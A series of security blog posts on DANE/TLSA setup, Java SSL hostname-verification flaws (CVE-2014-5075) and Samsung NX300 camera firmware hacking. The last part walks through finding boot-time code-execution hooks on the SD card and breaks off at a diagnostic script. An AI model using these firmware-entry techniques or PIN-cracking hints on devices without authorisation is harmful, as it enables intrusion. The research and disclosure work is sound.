  1. "trusted" CA - the provided cert is a CA cert that is trusted by the client, and the server certificate must be signed by this CA. We could use this to indicate that our server only will use StartSSL-issued certificates.
  2. "trusted" server certificate - the provided cert corresponds to the certificate returned over TLS and must be signed by a trusted Root CA. We will use this to deliver our server certificate.
  3. "untrusted" CA - the provided CA certificate must be the one used to sign the server's certificate. We could roll out a private CA and use this type, but it would cause issues with non-DNSSEC clients.
  4. "untrusted" server certificate - the provided certificate must be the same as returned by the server, and no Root CA trust checks shall be performed.

The Actual Certificate Association

Now that we know the server name for which the certificate is valid and the type of certificate and trust checks to perform, we need to store the actual certificate reference. Three fields are used to encode the certificate reference.

The selector defines whether the full certificate (0) or only the SubjectPublicKeyInfo field (1) is referenced. The latter allows to get the server key re-signed by a different CA without changing the TLSA records. The former could be theoretically used to put the full certificate into DNS (a rather bad idea for TLS, but might be interesting for S/MIME certs).

The matching type field defines how the "selected" data (certificate or SubjectPublicKeyInfo) is stored:

  1. exact match of the whole "selected" data
  2. SHA-256 hash of the "selected" data
  3. SHA-512 hash of the "selected" data

Finally, the certificate association data is the certificate/SubjectPublicKeyInfo data or hash, as described by the previous fields.

Putting it all Together

A good configuration for our service is a record based on a CA-issued server certificate (certificate usage 1), with the full certificate (selector 0) hashed via SHA-256 (matching type 1). We can obtain the required association data using OpenSSL command line tools:

openssl x509 -in -outform DER | openssl sha256
(stdin)= bbcc3ca09abfc28beb4288c41f4703a74a8f375a6621b55712600335257b09a9

Taken together, this results in the following entries for HTTPS on and     IN TLSA 1 0 1 bbcc3ca09abfc28beb4288c41f4703a74a8f375a6621b55712600335257b09a9 IN TLSA 1 0 1 bbcc3ca09abfc28beb4288c41f4703a74a8f375a6621b55712600335257b09a9

This is also the SHA-256 fingerprint you can see in your web browser.

For the XMPP part, we need to add TLSA records for the SRV targets ( for clients and for servers). There should be no need to make TLSA records for the service domain (, because a modern client will always try to resolve SRV records, and no DNSSEC validation will be possible if that fails.

Here, we take the SHA-256 sum of the certificate we obtained from StartSSL, and create two records with the same type and format as above: IN TLSA 1 0 1 cef7f6418b7d6c8e71a2413f302f92fc97e57ec18b36f97a4493964564c84836 IN TLSA 1 0 1 cef7f6418b7d6c8e71a2413f302f92fc97e57ec18b36f97a4493964564c84836

These fields will be used by DNSSEC-enabled clients to verify the TLS certificate presented by our XMPP service.

Replacing the Server Certificate

Now that the TLSA records are in place, it is not as easy to replace your server certificate as it was before, because the old one is now anchored in DNS.

You need to perform the following steps in order to ensure that all clients will be able to connect at any time:

  1. Obtain the new certificate
  2. Create a second set of TLSA records, for the new certificate (keep the old one in place)
  3. Wait for the configured DNS time-to-live to ensure that all users have received both sets of TLSA records
  4. Replace the old certificate on the server with the new one
  5. Remove the old TLSA records

If you fail to add the TLSA records and wait the DNS TTL, some clients will have cached a copy of only the old TLSA records, so they will reject your new server certificate.


DANE for XMPP is a chicken-and-egg problem. As long as there are no servers, it will not be implemented in the clients, and vice versa. However, the (currently unavailable) XMPP security analyzer is checking the DANE validation status, and GSoC 2015 brought us DNSSEC support in minidns, which soon will be leveraged in Smack-based XMPP clients.

With this (rather long) post covering all the steps of a successful DNSSEC implementation, including the special challenges of .IM domains, I hope to pave the way for more XMPP server operators to follow.

Enabling DNSSEC and DANE provides an improvement over the rather broken Root CA trust model, however it is not without controversy. tptacek makes strong arguments against DNSSEC, because it is using outdated crypto and because it doesn't completely solve the government-level MitM problem. Unfortunately, his proposal to "do nothing" will not improve the situation, and the only positive contribution ("use TACK!") has expired in 2013.

Finally, one last technical issue not covered by this post is periodic key rollover; this will be covered by a separate post eventually.

Comments on HN

Posted 2015-10-16 17:55 Tags: net

This is the third post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. The second one showed a method to gain a remote root shell, and it spawned a number of interesting projects. This post is a reference collection of these projects, and a call for collaboration.

Samsung NX300 Firmware Update

First, I want to thank Samsung for fixing the most serious security problems in the NX300 firmware. As of firmware version 1.41, the X server is closed down and there is an option to encrypt the WiFi network spawned by the camera with WPA2:

1.Add Wi-Fi Privacy Lock function 2.Revision Open Source Licenses

Unfortunately, the provided 8-digit PIN can be cracked in less than one hour using pyrit on a middle-class GPU. While this is far from good security, it requires at least some dedication from the attacker.

Even more unfortunately, Samsung removed execution from the NX300M firmware starting with (or after) 1.11. Dear Samsung engineers, if you are reading this: please add it back! Executing code from the SD card (without modifying the firmware image) is a great opportunity, not a security problem! Most of the mods discussed in this post are leveraging that functionality in a creative way!

Automatic Photo Backups

Markus A. Kuppe has written a tutorial for auto-backups of the NX300 using an ftp client on the camera and a Raspberry Pi ftp server. One interesting bit of information is how to make the camera auto-connect to WiFi whenever it is turned on, using a custom wpa_supplicant.conf and DBus:

cp /mnt/mmc/wpa_supplicant.conf /tmp/
/usr/bin/ start NL 0x8210
/usr/sbin/connmand -W nl80211 -r
sleep 2
dbus-send --system --type=method_call --print-reply --dest=net.connman \
    /net/connman/service/wifi_a0219572b25b_7777772e6c656d6d737465722e6465_managed_psk \

Jonathan Dieter created another backup mechanism using SCP and published the nx300m-autobackup source code. Well done!

Additional Kernel Modules

Markus also provided a short write-up on compiling additional kernel modules, which should allow us to extend the camera's functionality without re-flashing the firmware.

Crypto Photography

The most interesting idea, however, was envisioned by Doug Hickok. He modified the firmware to auto-encrypt photographs using public key cryptography. This allows for very interesting use cases like letting a professional photographer take pictures without allowing him to keep a copy, or for investigative journalists to hide their data tracks.

In the current implementation the pictures are first stored to the SD card and then encrypted and deleted, allowing for undelete attacks. Do not use it in production yet. With some more tweaking, however, it should be possible to make this firmware actually deliver the security promise.

Announcement: Samsung NX Hacks

Seeing how there is a (yet small) community of tinkerers around the NX300 camera, and with the knowledge that a whole range of Samsung NX cameras comes with Tizen-based firmware (NX1, NX200, NX2000, NX300M, ...?), the author has created a repository and a Wiki on GitHub.

Feel free to contribute to the wiki or the project - every input is welcome, starting from transferring information from the blog posts linked above into a more structured form in the wiki, and up to creating firmware modifications to allow for exciting new features.

Hack on!

Full series:

Posted 2015-01-29 17:30 Tags: net

Internet security is hard. TLS is almost impossible. Implementing TLS correctly in Java is Nightmare! While the higher-level HttpsURLConnection and Apache's DefaultHttpClient do it (mostly) right, direct users of Java SSL sockets (SSLSocket/ SSLEngine, SSLSocketFactory) are left exposed to Man-in-the-Middle attacks, unless the application manually checks the hostname against the certificate or employs certificate pinning.

The SSLSocket documentation claims that the socket provides "Integrity Protection", "Authentication", and "Confidentiality", even against active wiretappers. That impression is underscored by rigorous certificate checking performed when connecting, making it ridiculously hard to run development/test installations. However, these checks turn out to be completely worthless against active MitM attackers, because SSLSocket will happily accept any valid certificate (like for a domain owned by the attacker). Due to this, many applications using SSLSocket can be attacked with little effort.

This problem has been written about, but CVE-2014-5075 shows that it can not be stressed enough.

Affected Applications

This problem affects applications that make use of SSL/TLS, but not HTTPS. The best candidates to look for it are therefore clients for application-level protocols like e-mail (POP3/IMAP), instant messaging (XMPP), file transfer (FTP). CVE-2014-5075 is the respective vulnerability of the Smack XMPP client library, so this is a good starting point.

XMPP Clients

XMPP clients based on Smack (which was fixed on 2014-07-22):

Other XMPP clients:

Not Vulnerable Applications

The following applications have been checked as well, and contained code to compensate for SSLSockets shortcomings:

  • Jitsi (OSS conferencing client)
  • K9-Mail (Android e-Mail client)
  • Xabber (Based on Smack, but using its own hostname verification)

Background: Security APIs in Java

The amount of vulnerable applications can be easily explained after a deep dive into the security APIs provided by Java (and its offsprings). Therefore, this section will handle the dirty details of trust (mis)management in the most important implementations: old Java, new Java, Android and in Apache's HttpClient.

Java SE up to and including 1.6

When network security was added into Java 1.4 with the JSSE (and we all know how well security-as-an-afterthought works), two distinct APIs have been created for certificate verification and for hostname verification. The rationale for that decision was probably that the TLS/SSL handshake happens at the socket layer, whereas the hostname verification depends on the application-level protocol (HTTPS at that time). Therefore, the X509TrustManager class for certificate trust checks was integrated into the low-level SSLSocket and SSLEngine classes, whereas the HostnameVerifier API was only incorporated into the HttpsURLConnection.

The API design was not very future-proof either: X509TrustManager's checkClientTrusted() and checkServerTrusted() methods are only passed the certificate and authentication type parameters. There is no reference to the actual SSL connection or its peer name. The only workaround to allow hostname verification through this API is by creating a custom TrustManager for each connection, and storing the peer's hostname in it. This is neither elegant nor does it scale well with multiple connections.

The HostnameVerifier on the other hand has access to both the hostname and the session, making a full verification possible. However, only HttpsURLConnection is making use of a HostnameVerifier (and is only asking it if it determines a mismatch between the peer and its certificate, so the default HostnameVerifier always fails).

Besides of the default HostnameVerifier being unusable due to always failing, the API has another subtle surprise: while the TrustManager methods fail by throwing a CertificateException, HostnameVerifier.verify() simply returns false if verification fails.

As the API designers realized that users of the raw SSLSocket might fall into a certificate verification trap set up by their API, they added a well-buried warning into the JSSE reference guide for Java 5, which I am sure you have read multiple times (or at least printed it and put it under your pillow):

IMPORTANT NOTE: When using raw SSLSockets/SSLEngines you should always check the peer's credentials before sending any data. The SSLSocket/SSLEngine classes do not automatically verify, for example, that the hostname in a URL matches the hostname in the peer's credentials. An application could be exploited with URL spoofing if the hostname is not verified.

Of course, URLs are only a thing in HTTPS, but you get the point... provided that you actually have read the reference guide... up to this place. If you only read the SSLSocket marketing reference article, and thought that you are safe because it does not mention any of the pitfalls: shame on you!

And even if you did read the warning, there is no hint about how to implement the peer credentials checks. There is no API class that would perform this tedious and error-prone task, and implementing it yourself requires a Ph.D. degree in rocket surgery, as well as deep knowledge of some related Internet standardsx.

x Side note: even if you do not believe SSL conspiracy theories, or theories confirmed facts about the deliberate manipulation of Internet standards by NSA and GCHQ, there is one prominent example of how the implementation of security mechanisms can be aggravated by adding complexity - the title of RFC 6125: "Representation and Verification of Domain-Based Application Service Identity within Internet Public Key Infrastructure Using X.509 (PKIX) Certificates in the Context of Transport Layer Security (TLS)".

Apache HttpClient

The Apache HttpClient library is a full-featured HTTP client written in pure Java, adding flexibility and functionality in comparison to the default HTTP implementation.

The Apache library developers came up with their own API interface for hostname verification, X509HostnameVerifier, that also happens to incorporate Java's HostnameVerifier interface. The new methods added by Apache are expected to throw SSLException when verification fails, while the old method still returns true or false, of course. It is hard to tell if this interface mixing is adding confusion, or reducing it. One way or the other, it results in the appropriate glue code:

public final boolean verify(String host, SSLSession session) {
    try {
        Certificate[] certs = session.getPeerCertificates();
        X509Certificate x509 = (X509Certificate) certs[0];
        verify(host, x509);
        return true;
    catch(SSLException e) {
        return false;

Based on that interface, AllowAllHostnameVerifier, BrowserCompatHostnameVerifier, and StrictHostnameVerifier were created, which can actually be plugged into anything expecting a plain HostnameVerifier. The latter two also actually perform hostname verification, as opposed to the default verifier in Java, so they can be used wherever appropriate. Their difference is:

The only difference between BROWSER_COMPATIBLE and STRICT is that a wildcard (such as "*") with BROWSER_COMPATIBLE matches all subdomains, including "".

If you can make use of Apache's HttpClient library, just plug in one of these verifiers and have a happy life:

sslSocket = ...;
HostnameVerifier verifier = new StrictHostnameVerifier();
if (!verifier.verify(serviceName, sslSocket.getSession())) {
    throw new CertificateException("Server failed to authenticate as " + serviceName);
// NOW you can send and receive data!


Android's designers must have been well aware of the shortcomings of the Java implementation, and the problems that an application developer might encounter when testing and debugging. They created the SSLCertificateSocketFactory class, which makes a developer's life really easy:

  1. It is available on all Android devices, starting with API level 1.

  2. It comes with appropriate warnings about its security parameters and limitations:

    Most SSLSocketFactory implementations do not verify the server's identity, allowing man-in-the-middle attacks. This implementation does check the server's certificate hostname, but only for createSocket variants that specify a hostname. When using methods that use InetAddress or which return an unconnected socket, you MUST verify the server's identity yourself to ensure a secure connection.

  3. It provides developers with two easy ways to disable all security checks for testing purposes: a) a static getInsecure() method (as of API level 8), and b)

    On development devices, "setprop socket.relaxsslcheck yes" bypasses all SSL certificate and hostname checks for testing purposes. This setting requires root access.

  4. Uses of the insecure instance are logged via adb:

    Bypassing SSL security checks at caller's request

    Or, when the system property is set:

    *** BYPASSING SSL SECURITY CHECKS (socket.relaxsslcheck=yes) ***

Some time in 2013, a training article about Security with HTTPS and SSL was added, which also features its own section for "Warnings About Using SSLSocket Directly", once again explicitly warning the developer:

Caution: SSLSocket does not perform hostname verification. It is up the your app to do its own hostname verification, preferably by calling getDefaultHostnameVerifier() with the expected hostname. Further beware that HostnameVerifier.verify() doesn't throw an exception on error but instead returns a boolean result that you must explicitly check.

Typos aside, this is very true advice. The article also covers other common SSL/TLS related problems like certificate chaining, self-signed certs and SNI. A must read! The fact that it does not mention the SSLCertificateSocketFactory is only a little snag.

Java 1.7+

As of Java 1.7, there is a new abstract class X509ExtendedTrustManager that finally unifies the two sides of certificate verification:

Extensions to the X509TrustManager interface to support SSL/TLS connection sensitive trust management.

To prevent man-in-the-middle attacks, hostname checks can be done to verify that the hostname in an end-entity certificate matches the targeted hostname. TLS does not require such checks, but some protocols over TLS (such as HTTPS) do. In earlier versions of the JDK, the certificate chain checks were done at the SSL/TLS layer, and the hostname verification checks were done at the layer over TLS. This class allows for the checking to be done during a single call to this class.

This class extends the checkServerTrusted and checkClientTrusted methods with an additional parameter for the socket reference, allowing the TrustManager to obtain the hostname that was used for the connection, thus making it possible to actually verify that hostname.

To retrofit this into the old X509TrustManager interface, all instances of X509TrustManager are internally wrapped into an AbstractTrustManagerWrapper that performs hostname verification according to the socket's SSLParameters. All this happens transparently, all you need to do is to initialize your socket with the hostname and then set the right params:

SSLParameters p = sslSocket.getSSLParameters();

If you do not set the endpoint identification algorithm, the socket will behave in the same way as in earlier versions of Java, accepting any valid certificate.

However, if you do run the above code, the certificate will be checked against the IP address or hostname that you are connecting to. If the service you are using employs DNS SRV, the hostname (the actual machine you are connecting to, e.g. "") might differ from the service name (what the user entered, like ""). However, the certificate will be issued for the service name, so the verification will fail. As such protocols are most often combined with STARTTLS, you will need to wrap your SSLSocket around your plain Socket, for which you can use the following code:

sslSocket = sslContext.getSocketFactory().createSocket(
        serviceName, /**< set your service name here */
// set the socket parameters here!

API Confusion Conclusion

To summarize the different "platforms":

  • If you are on Java 1.6 or earlier, you are screwed!
  • If you have Android, use SSLCertificateSocketFactory and be happy.
  • If you have Apache HttpClient, add a StrictHostnameVerifier.verify() call right after you connect your socket, and check its return value!
  • If you are on Java 1.7 or newer, do not forget to set the right SSLParameters, or you might still be screwed.

Java SSL In the Literature

There is a large amount of good and bad advice out there, you just need to be a farmer security expert to separate the wheat from the chaff.

Negative Examples

The most expensive advice is free advice. And the Internet is full of it. First, there is code to let Java trust all certificates, because self-signed certificates are a subset of all certificates, obviously. Then, we have a software engineer deliberately disable certificate validation, because all these security exceptions only get into our way. Even after the Snowden revelations, recipes for disabling SSL certificate validation are still written. The suggestions are all very similar, and all pretty bad.

Admittedly, an encrypted but unvalidated connection is still a little bit better than a plaintext connection. However, with the advent of free WiFi networks and SSL MitM software, everybody with a little energy can invade your "secure" connections, which you use to transmit really sensitive information. The effect of this can reach from funny over embarassing and up to life-threatening, if you are a journalist in a crisis zone.

The personal favorite of the author is this SO question about avoiding the certificate warning message in yaxim, which is caused by MemorizingTrustManager. It is especially amusing how the server's domain name is left intact in the screenshot, whereas the certificate checksums and the self-signed indication are blackened.

Fortunately, the situation on StackOverflow has been improving over the years. Some time ago, you were overwhelmed with DO_NOT_VERIFY HostnameVerifiers and all-accepting DefaultTrustManagers, where the authors conveniently forgot to mention that their code turns the big red "security" switch to OFF.

The better answers on StackOverflow at least come with a warning or even suggest certificate pinning.

Positive Examples

In 2012, Kevin Locke has created a proper HostnameVerifier using the internal class which seems to exist in Java SE 6 and 7. This HostnameVerifier is used with AsyncHttpClient, but is suitable for other use-cases as well.

Fahl et al. have analyzed the sad state of SSL in Android apps in 2012. Their focus was on HTTPS, where they did find a massive amount of applications deliberately misconfigured to accept invalid or mismatching certificates (probably added during app development). In a 2013 followup, they have developed a mechanism to enable certificate checking and pinning according to special flags in the application manifest.

Will Sargent from Terse Systems has an excellent series of articles on everything TLS, with videos, examples and plentiful background information. ABSOLUTELY MUST SEE!

There is even an excellent StackOverflow answer by Bruno, outlining the proper hostname validation options with Java 7, Android and "other" Java platforms, in a very concise way.

Mitigation Possibilities

So you are an app developer, and you get this pesky CertificateException you could not care less about. What can you do to get rid of it, in a secure way? That depends on your situation.

Cloud-Connected App: Certificate Pinning

If your app is always connecting to known-in-advance servers under you control (like only your company's "cloud"), employ Certificate Pinning.

If you want a cheap and secure solution, create your own Certificate Authority (CA) (and guard its keys!), deploy its certificate as the only trusted CA in the app, and sign all your server keys with it. This approach provides you with the ultimate control over the whole security infrastructure, you do not need to pay certificate extortion fees to greedy CAs, and a compromised CA can not issue certificates that would allow to MitM your app. The only drawback is that you might not be as good as a commercial CA at guarding your CA keys, and these are the keys to your kingdom.

To implement the client side, you need to store the CA cert in a key file, which you can use to create an X509TrustManager that will only accept server certificates signed by your CA:

KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
ks.load(new FileInputStream(keyStoreFile), "keyStorePassword".toCharArray());
TrustManagerFactory tmf = TrustManagerFactory.getInstance("X509");
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, tmf.getTrustManagers(), new;
// use 'sc' for your HttpsURLConnection / SSLSocketFactory / ...

If you rather prefer to trust the establishment (or if your servers are to be used by web browsers as well), you need to get all your server keys signed by an "official" Root CA. However, you can still store that single CA into your key file and use the above code. You just won't be able to switch to a different CA later on if they try to extort more money from you.

User-configurable Servers (a.k.a. "Private Cloud"): TOFU/POP

In the context of TLS, TOFU/POP is neither vegetarian music nor frozen food, but stands for "Trust on First Use / Persistence of Pseudonymity".

The idea behind TOFU/POP is that when you connect to a server for the first time, your client stores its certificate, and checks it on each subsequent connection. This is the same mechanism as used in SSH. If you had no evildoers between you and the server the first time, later MitM attempts will be discovered. OpenSSH displays the following on a key change:

Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.

In case you fell victim to a MitM attack the first time you connected, you will see the nasty warning as soon as the attacker goes away, and can start investigating. Your information will be compromised, but at least you will know it.

The problem with the TOFU approach is that it does not mix well with the PKI infrastructure model used in the TLS world: with TOFU, you create one key when the server is configured for the first time, and that key remains bound to the server forever (there is no concept of key revocation).

With PKI, you create a key and request a certificate, which is typically valid for one or two years. Before that certificate expires, you must request a new certificate (optionally using a new private key), and replace the expiring certificate on the server with the new one.

If you let an application "pin" the TLS certificate on first use, you are in for a surprise within the next year or two. If you "pin" the server public key, you must be aware that you will have to stick to that key (and renew certificates for it) forever. Of course you can create your own, self-signed, certificate with a ridiculously long expiration time, but this practice is frowned upon (for self-signing and long expiration times).

Currently, some ideas exist about how to combine PKI with TOFU, but the only sensible thing that an app can do is to give a shrug and ask the user.

Because asking the user is non-trivial from a background networking thread, the author has developed MemorizingTrustManager (MTM) for Android. MTM is a library that can be plugged into your apps' TLS connections, that leverages the system's ability for certificate and hostname verification, and asks the user if the system does not consider a given certificate/hostname combination as legitimate. Internally, MTM is using a key store where it collects all the certificates that the user has permanently accepted.


If you are developing a browser that is meant to support HTTPS, please stop here, get a security expert into your team, and only go on with her. This article has shown that using TLS is horribly hard even if you can leverage existing components to perform the actual verification of certificates and hostnames. Writing such checks in a browser-compliant way is far beyond the scope of this piece.



Besides of TOFU/POP, which is not yet ready for TLS primetime, there is an alternative approach to link the server name (in DNS) with the server identity (as represented by its TLS certificate): DNS-based Authentication of Named Entities (DANE).

With this approach, information about the server's TLS certificate can be added to the DNS database, in the form of different certificate constraint records:

  • (0) a CA constraint can require that the presented server certificate MUST be signed by the referenced CA public key, and that this CA must be a known Root CA.
  • (1) a service certificate constraint can define that the server MUST present the referenced certificate, and that certificate must be signed by a known Root CA.
  • (2) a trust anchor assertion is like a CA constraint, except it does not need to be a Root CA known to the client. This allows a server administrator to run their own CA.
  • (3) a domain issued certificate is analogous to a service certificate constraint, but like in (2), there is no need to involve a Root CA.

Multiple constraints can be specified to tighten the checks, encoded in TLSA records (for TLS association). TLSA records are always specific to a given server name and port. For example, to make a secure XMPP connection with "", first the XMPP SRV record (_xmpp-client._tcp) needs to be obtained:

$ host -t SRV has SRV record 0 0 5222

Then, the TLSA record(s) for must be obtained:

$ host -t TLSA has TLSA record 3 0 1 75E6A12CFE74A2230F3578D5E98C6F251AE2043EDEBA09F9D952A4C1 C317D81D

This record reads as: the server is using a domain issued certificate (3) with the full certificate (0) represented via its SHA-256 hash (1): 75:E6:A1:2C:FE:74:A2:23:0F:35:78:D5:E9:8C:6F:25:1A:E2:04:3E:DE:BA:09:F9:D9:52:A4:C1:C3:17:D8:1D.

And indeed, if we check the server certificate using openssl s_client, the SHA-256 hash does match:

Issuer: O=Root CA, OU=, CN=CA Cert Signing Authority/
    Not Before: Apr  8 07:25:35 2014 GMT
    Not After : Oct  5 07:25:35 2014 GMT
SHA256 Fingerprint=75:E6:A1:2C:FE:74:A2:23:0F:35:78:D5:E9:8C:6F:25:1A:E2:04:3E:DE:BA:09:F9:D9:52:A4:C1:C3:17:D8:1D

Of course, this information can only be relied upon if the DNS records are secured by DNSSEC. And DNSSEC can be abused by the same entities that already can manipulate Root CAs and perform large-scale Man-in-the-Middle attacks. However, this kind of attack is made significantly harder: while a typical Root CA list contains hundreds of entries, with an unknown number of intermediate CAs each, and it is sufficient to compromise any one of them to screw you, with DNSSEC, the attacker needs to obtain the keys to your domain (, to your top-level domain (.net) or the master root keys (.). In addition to that improvement, another benefit of DANE is that server operators can replace (paid) Root CA services with (cheaper/free) DNS records.

However, there is a long way until DANE can be used in Java. Java's own DNS code is very limited (no SRV support, TLSA - what are you dreaming of?) The dnsjava library claims to provide partial DNSSEC verification, there is the unmaintained DNSSEC4j and the GSoC work-in-progress dnssecjava. All that remains is for somebody to step up and implement a DANETrustManager based on one of these components.


Internet security is hard. Let's go bake some cookies!

Comments on HN

Posted 2014-08-05 19:52 Tags: net

This is the second post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. In this post, we will have a deeper look at the operating system running on the camera, execute some code and open a remote root shell. This process can be applied (with some adaptations) to different networked consumer electronics, including home routers, NAS boxes and Smart TVs. The third post will leveage that knowledge to add functionality.

Firmware: Looking for Loopholes

Experience shows that most firmware images provide an easy way to run a user-provided shell script on boot. This feature is often added by the "software engineers" during development, but it boils down to a local root backdoor. On a camera, the SD card would be a good place to search. Other devices might execute code from an USB flash drive or the built-in hard disk.

Usually, we have to start with the firmware update file (nx300.bin from this 241MB ZIP in our case), run binwalk on it, extract and mount the root file system and have our fun. In this case, however, the source archive from Samsung's OSS Release Center contains an unpacked root file system tree in TIZEN/project/NX300/image/rootfs, so we just examine that:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ ls -l
total 72
drwxr-xr-x  4 4096 Oct 16  2013 bin/
drwxr-xr-x  3 4096 Oct 16  2013 data/
drwxr-xr-x  3 4096 Oct 16  2013 dev/
drwxr-xr-x 38 4096 Oct 16  2013 etc/
drwxr-xr-x  9 4096 Oct 16  2013 lib/
-rw-r--r--  1  203 Oct 16  2013 make_image.log
drwxr-xr-x  8 4096 Oct 16  2013 mnt/
drwxr-xr-x  3 4096 Oct 16  2013 network/
drwxr-xr-x 16 4096 Oct 16  2013 opt/
drwxr-xr-x  2 4096 Oct 16  2013 proc/
lrwxrwxrwx  1   13 Oct 16  2013 root -> opt/home/root/
drwxr-xr-x  2 4096 Oct 16  2013 sbin/
lrwxrwxrwx  1    8 Oct 16  2013 sdcard -> /mnt/mmc
drwxr-xr-x  2 4096 Oct 16  2013 srv/
drwxr-xr-x  2 4096 Oct 16  2013 sys/
drwxr-xr-x  2 4096 Oct 16  2013 tmp/
drwxr-xr-x 16 4096 Oct 16  2013 usr/
drwxr-xr-x 13 4096 Oct 16  2013 var/

make_image.log sounds like somebody forgot to clean up before shipping (this file is actually contained on the camera):

SBS logging begin
Wed Oct 16 14:27:21 KST 2013

WARNING: setting root UBIFS inode UID=GID=0 (root) and permissions to u+rwx,go+rx; use --squash-rino-perm or --nosquash-rino-perm to suppress this warning

If we can believe the /sdcard symlink, the SD card is mounted at /mnt/mmc. Usually, there are some scripts and tools referencing the directory, and we should start with them:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep /mnt/mmc -r .
./etc/fstab:/dev/mmcblk0    /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./etc/fstab:/dev/mmcblk0p1  /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./usr/sbin/ /oldroot/mnt/mmc
./usr/sbin/rcS.pivot:   mkdir -p /mnt/mmc
./usr/sbin/rcS.pivot:       mount -t vfat -o noatime,nodiratime $card_path /mnt/mmc
./usr/bin/    mount -t vfat /dev/mmcblk0 /mnt/mmc
./usr/bin/    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/ -t vfat /dev/mmcblk0p1 /mnt/mmc   
./usr/bin/ /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null
./usr/bin/ -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/ /mnt/mmc
./usr/bin/   nr_mnt_dev=`/usr/bin/stat -c %d /mnt/mmc` #/opt/storage
./usr/bin/       umount /mnt/mmc 2> /dev/null
./usr/bin/           /bin/mount -t vfat /dev/mmcblk${i}p1 /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
./usr/bin/               /bin/mount -t vfat /dev/mmcblk${i} /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
[ stripped a bunch of binary matches in /usr/bin and /usr/lib ]

What we have here are some usual Linux boot-up configuration files (fstab, rcS.pivot,, a very interesting script that installs any Debian packages from the SD card (, and ~50 shared libraries and executable binaries with the /mnt/mmc string hardcoded inside.

Package Installer Script

Let us have a look at first:

#! /bin/sh

echo $1
if [ "$#" = "2" ]
    if [ "$2" = "0" ]
    echo -e "mount mmcblk0.."
    mount -t vfat /dev/mmcblk0 /mnt/mmc
    echo -e "mount mmcblk0p1..."
    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
echo -e "mount mmcblk0p1..."
mount -t vfat /dev/mmcblk0p1 /mnt/mmc   

find /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null

echo -e "sync...."

This is a shell script that takes one or two arguments. The first one is the package name to look for (the find command will find and install all .deb files containing the first argument in their name). The second argument is used to mount the correct partition of the SD card. Surely we can use this script to install dropbear, gcc or moon-buggy. Now we only need to figure out how (or from where) this script is run:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep -r .

Whoops. There are no references to it in the firmware. It was merely a red herring, and we need to find another way in.

The Magic Binary Blob

In /usr/bin, the most interesting file is di-camera-app-nx300, making references to /mnt/mmc/Demo/NX300_Demo.mp4, /mnt/mmc/SYSTEM/Device.xml and a bunch of WAV files in /mnt/mmc/sounds/ that seem to correspond to UI actions (up, down, ..., delete, ev, wifi).

This is obviously the magic binary blob controlling the really interesting functions (like the UI, the shutter, and the image processor). Most consumer electronics branded as "Open Source" contain some kind of Linux runtime which is only used to execute one large binary. That binary in turn encloses all the things you want to tinker with, but it is not provided with source code, still leaving you at the mercy of the manufacturer.

As expected, this program comes out of nowhere. There are traces of the di-camera-app-nx300 Debian package (version 0.2.387) being installed:

Package: di-camera-app-nx300
Status: install ok installed
Priority: extra
Section: misc
Installed-Size: 87188
Maintainer: Sookyoung Maeng <[snip]>, Jeounggon Yoo <[snip]>
Architecture: armel
Source: di-camera-app
Version: 0.2.387
Depends: libappcore-common-0, libappcore-efl-0, libaul-1, libbundle-0, libc6 (>= 2.4),
    libdevman-0, libdlog-0, libecore, libecore-evas, libecore-file, libecore-input,
    libecore-x, libedje (>=, libeina (>=,
    libelm, libevas (>=, libgcc1 (>= 1:4.4.0),
    libglib2.0-0 (>= 2.12.0), libmm-camcorder, libmm-player, libmm-sound-0,
    libmm-utility, libnetwork-0, libnl2 (>= 2.0), libslp-pm-0, libslp-utilx-0,
    libstdc++6 (>= 4.5), libvconf-0, libwifi-wolf-client, libx11-6,
    libxrandr2 (>= 2:1.2.0), libxtst6, prefman, libproduction-mode,
    libfilelistmanagement, libmm-common, libmm-photo, libasl, libdcm,
    libcapture-fw-slpcam-nx300, libvideo-player-ext-engine, libhibernation-slpcam-0,
    sys-mmap-manager, libstorage-manager, libstrobe, libdustreduction, libmm-slideshow,
    di-sensor, libdi-network-dlna-api, libproduction-commands, d4library,
Description: Digital Imaging inhouse application for nx300

So this package is created from di-camera-app, which does not exist either, except "inhouse". Thank you Samsung for spoiling the fun... :-(

Besides of some start/stop scripts, the only other interesting reference to this magic binary blob is in TIZEN/build/, which looks like a mixture of installation and startup script:


cp -f *.so /usr/lib
cp -f di-camera-app-nx300 /usr/bin

sleep 1
cd /
startx; di-camera-app &

(Because with only one sync, you can never know, and two might still not be enough if you must be 300% sure the data has been written).

The camera app is accompanied by another magic binary blob for WiFi, smart-wifi-app-nx300 (Samsung should get an award for creative file names). However, there are no hints at possible code execution in either program, so we need to dig even deeper.

Searching Shared Libraries

The situation in /usr/lib is different, though. We can run strings on the files that mention the SD card mount point (limiting the output to the relevant lines):

georg@megavolt:TIZEN/project/NX300/image/rootfs$ for f in `grep -l /mnt/mmc *.so` ; do \
                echo "--- $f" ; strings $f | grep /mnt/mmc; done
/usr/bin/iozone -A -s 40m -U /mnt/mmc -f /mnt/mmc/test -e > /tmp/card_result.txt
cp /tmp/card_result.txt /mnt/mmc

Okay, this is starting to get hot! /mnt/mmc/ and /mnt/mmc/ are exactly what we have been looking for. We need to try one of them and see what happens!

To test our theory, we need to mount the camera via USB, and create the following file in its root directory (Windows users watch out, the file needs to have Unix linebreaks!):

date >> $LOG
id >> $LOG
echo "$PATH" >> $LOG
ps axfu >> $LOG
mount >> $LOG

